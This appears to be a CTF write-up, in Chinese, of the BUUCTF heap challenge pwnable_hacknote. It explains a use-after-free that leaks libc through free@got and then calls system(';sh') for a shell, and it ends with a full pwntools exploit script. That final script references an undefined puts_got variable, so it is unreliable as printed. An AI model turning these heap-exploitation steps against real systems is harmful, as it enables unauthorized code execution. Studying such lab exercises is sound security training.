[BUUCTF]PWN——pwnable_hacknote

pwnable_hacknote

附件

步骤:

  1. 例行检查,32位程序,开启了nx和canary保护
    在这里插入图片描述
  2. 本地试运行看一下大概的情况,熟悉的堆的菜单
    [BUUCTF]PWN——pwnable_hacknote_第1张图片
  3. 32位ida载入
    add()
    [BUUCTF]PWN——pwnable_hacknote_第2张图片
    在这里插入图片描述
    [BUUCTF]PWN——pwnable_hacknote_第3张图片
    gdb看一下堆块的布局更方便理解
    [BUUCTF]PWN——pwnable_hacknote_第4张图片
    delete()
    [BUUCTF]PWN——pwnable_hacknote_第5张图片
    show()
    [BUUCTF]PWN——pwnable_hacknote_第6张图片

利用思路:使用uaf泄露libc,计算system,执行system(‘/bin/sh’)获取shell

泄露libc

print_note的打印功能可以帮助泄露地址。

  1. 先add chunk0,add chunk1,大小都为0x80。
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1

[BUUCTF]PWN——pwnable_hacknote_第7张图片

  1. 然后delete chunk1,chuk0.此时再申请add chunk2,大小为8. 那么chunk2的note块就是chunk0的note块,chunk2的content块就是chunk1的note块(fastbin的原则是LIFO)。此时向content2中写入puts函数地址(保持不变,还是原来的)和free@got地址
delete(1)
delete(0)
payload = p32(0x804862b)+p32(0x804a018)
add(8,payload)#2

[BUUCTF]PWN——pwnable_hacknote_第8张图片
在这里插入图片描述

  1. 上面分析了show功能的执行是根据note块里的puts函数地址打印content地址上的内容,这样在调用 show(chunk2)时,就会执行puts(free@got地址),将free函数的实际地址泄露,再根据偏移泄露system函数地址。
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
delete(1)
delete(0)

payload = p32(0x804862b)+p32(0x804a018)
add(8,payload)#2

show(1)
free_addr = u32(p.recv(4))

offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset

执行system(‘/bin/sh’)

用上述的方法,将note的puts函数地址覆写成system函数的地址,将要打印的地址的内容chunk的地址改写成‘/bin/sh’,但是这样失败了,百度后得知如果将puts函数地址覆盖为system地址,system的参数是system函数地址本身,这样肯定不行。但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以成功将content位置覆盖成 ‘;sh\0’或||sh,同样的然后show(chunk1)就能执行system(‘sh’)得到shell了

delete(2)
payload = p32(system_addr) + ';sh\0'
add(8,payload)

show(1)

完整exp

from pwn import *
context.log_level='debug'

#p = remote('node3.buuoj.cn',25799)
p=process('./hacknote')
libc = ELF('./libc-2.23-32.so')


def add(size,content):
	p.recvuntil('Your choice :')
	p.sendline('1')
	p.recvuntil('Note size :')
	p.sendline(str(size))
	p.recvuntil('Content :')
	p.send(content)

def delete(index):
	p.recvuntil('Your choice :')
	p.sendline('2')
	p.recvuntil('Index :')
	p.sendline(str(index))

def show(index):
	p.recvuntil('Your choice :')
	p.sendline('3')
	p.recvuntil('Index :')
	p.sendline(str(index))

add(0x80,'aaaa')
add(0x80,'bbbb')
gdb.attach(p)
delete(1)
delete(0)

payload = p32(0x804862b)+p32(puts_got)
add(8,payload)

show(1)
free_addr = u32(p.recv(4))



offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset

delete(2)
payload = p32(system_addr) + ';sh\0'
add(8,payload)

show(1)

p.interactive()

[BUUCTF]PWN——pwnable_hacknote_第9张图片

你可能感兴趣的:(BUUCTF刷题记录,PWN)